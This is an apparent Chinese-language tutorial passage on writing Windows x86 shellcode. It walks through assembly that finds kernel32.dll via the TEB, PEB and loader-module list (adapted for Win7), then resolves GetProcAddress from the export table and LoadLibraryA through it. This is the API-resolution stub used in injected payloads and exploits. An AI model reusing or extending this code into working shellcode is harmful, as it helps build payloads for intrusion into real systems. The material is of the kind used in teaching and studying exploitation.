一、ShellCode的编写
Kernel32地址的获取
由于win7的_PEB_LDR_DATA表和以前的系统有了改变,直接查询0x08方式在win7下失效,为了保证shellcode的通用性(主要是增加对win7的支持),采用遍历查询的方式定位kernel32的位置
esi=fs:0->TEB
esi=TEB:30h->PEB
esi=PEB:0ch->_PEB_LDR_DATA
esi=_PEB_LDR_DATA:1ch->内存中的dll的地址
[esi]-> 内存中的下一个dll的地址(00h指向下一个Ldr_Module)
[esi+08h]->esi指向的地方的下一个dll的地址
edi->esi指向的地址的尾部
示意图:
我们需要找的kernel32.dll长度为12,用od跟踪发现kernel32.dll的函数名在内存中为“kernel32.dll”,即是说,我们查找到某个函数第24(12×2)的位置为空(字符串结尾),即是我们要找的kernel32.dll
push ebp xor ecx,ecx mov esi,fs:0x30 mov esi, [esi + 0x0C]; mov esi, [esi + 0x1C]; next_module: mov ebp, [esi + 0x08]; mov edi, [esi + 0x20]; mov esi, [esi]; cmp [edi + 12*2],cl jne next_module mov edi,ebp;BaseAddr of Kernel32.dll
GetProcAddress地址的获取
有了kernel32的地址以后,我们就可以方便的通过遍历的方式查询到GetProcAddress的地址
sub esp,100 mov ebp,esp; mov eax,[edi+3ch];pe header mov edx,[edi+eax+78h] add edx,edi mov ecx,[edx+18h];number of functions mov ebx,[edx+20h] add ebx,edi;AddressOfName search: dec ecx mov esi,[ebx+ecx*4] add esi,edi; mov eax,0x50746547;PteG("GetP") cmp [esi],eax jne search mov eax,0x41636f72;Acor("rocA") cmp [esi+4],eax jne search mov ebx,[edx+24h] add ebx,edi;indexaddress mov cx,[ebx+ecx*2] mov ebx,[edx+1ch] add ebx,edi mov eax,[ebx+ecx*4] add eax,edi mov [ebp+76],eax;将GetProcAddress地址存在ebp+76中
LoadLibraryA地址的获取
通过调用API函数GetProcAddress获取LoadLibraryA的地址
push 0; push DWORD PTR0x41797261;Ayra("aryA") push DWORD PTR0x7262694c;rbiL("Libr") push DWORD PTR0x64616f4c;daoL("Load") push esp push edi call [ebp+76] mov[ebp+80],eax;将LoadLibraryA地址存在ebp+80中